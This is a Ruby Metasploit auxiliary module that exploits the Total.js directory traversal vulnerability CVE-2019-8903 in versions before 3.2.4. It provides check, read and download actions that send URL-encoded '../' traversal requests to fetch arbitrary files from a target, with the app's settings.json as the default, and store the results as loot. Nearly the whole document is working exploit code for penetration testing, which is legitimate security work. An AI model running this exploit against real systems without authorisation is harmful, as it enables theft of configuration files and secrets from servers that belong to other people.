## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Check and exploit Total.js Directory Traversal (CVE-2019-8903) class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Total.js prior to 3.2.4 Directory Traversal', 'Description' => %q( This module check and exploits a directory traversal vulnerability in Total.js prior to 3.2.4. Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml, woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache, manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic ), 'Author' => [ 'Riccardo Krauter', # Discovery 'Fabio Cogno' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-8903'], ['CWE', '22'], ['URL', 'https://blog.totaljs.com/blogs/news/20190213-a-critical-security-fix/'], ['URL', 'https://security.snyk.io/vuln/SNYK-JS-TOTALJS-173710'] ], 'Privileged' => false, 'DisclosureDate' => '2019-02-18', 'Actions' => [ ['CHECK', { 'Description' => 'Check if the target is vulnerable' }], ['READ', { 'Description' => 'Attempt to print file content' }], ['DOWNLOAD', { 'Description' => 'Attempt to download a file' }] ], 'DefaultAction' => 'CHECK')) register_options( [ OptString.new('TARGETURI', [true, 'Path to Total.js App installation', '/']), OptInt.new('DEPTH', [true, 'Traversal depth', 1]), OptString.new('FILE', [true, 'File to obtain', 'databases/settings.json']) ] ) end def check_ext extensions = %w[ flac jpg jpeg png gif ico js css txt xml woff woff2 otf ttf eot svg zip rar pdf docx xlsx doc xls html htm appcache manifest map ogv ogg mp4 mp3 webp webm swf package json md m4v jsx heif heic ] ext = datastore['FILE'].split('.').last unless extensions.include? ext print_warning "Extension #{ext} is not supported by the HTTP static route of the framework" end end def check uri = normalize_uri(target_uri.path) + '%2e%2e%2fpackage.json' res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) if res && res.code == 200 json = res.get_json_document if json.empty? || !json['dependencies']['total.js'] return Exploit::CheckCode::Safe else print_status("Total.js version is: #{json['dependencies']['total.js']}") print_status("App name: #{json['name']}") print_status("App description: #{json['description']}") print_status("App version: #{json['version']}") return Exploit::CheckCode::Vulnerable end elsif res && res.headers['X-Powered-By'].to_s.downcase.include?('total.js') print_status('Target appear to be vulnerable!') print_status("X-Powered-By: #{res.headers['X-Powered-By']}") return Exploit::CheckCode::Detected else vprint_warning('No response') return Exploit::CheckCode::Unknown end end def read check_ext traverse = '%2e%2e%2f' * datastore['DEPTH'] uri = normalize_uri(target_uri.path) + traverse + datastore['FILE'] res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code != 200 print_error("Unable to read '#{datastore['FILE']}', possibly because:") print_error("\t1. File does not exist.") print_error("\t2. No permission.") return end print_status("Getting #{datastore['FILE']}...") print_line(res.body) end def download check_ext traverse = '%2e%2e%2f' * datastore['DEPTH'] uri = normalize_uri(target_uri.path) + traverse + datastore['FILE'] res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code != 200 print_error("Unable to read '#{datastore['FILE']}', possibly because:") print_error("\t1. File does not exist.") print_error("\t2. No permission.") return end fname = datastore['FILE'].split('/')[-1].chop ctype = res.headers['Content-Type'].split(';') loot = store_loot('lfi.data', ctype[0], rhost, res.body, fname) print_good("File #{fname} downloaded to: #{loot}") end def run case action.name when 'CHECK' check when 'READ' read when 'DOWNLOAD' download end end end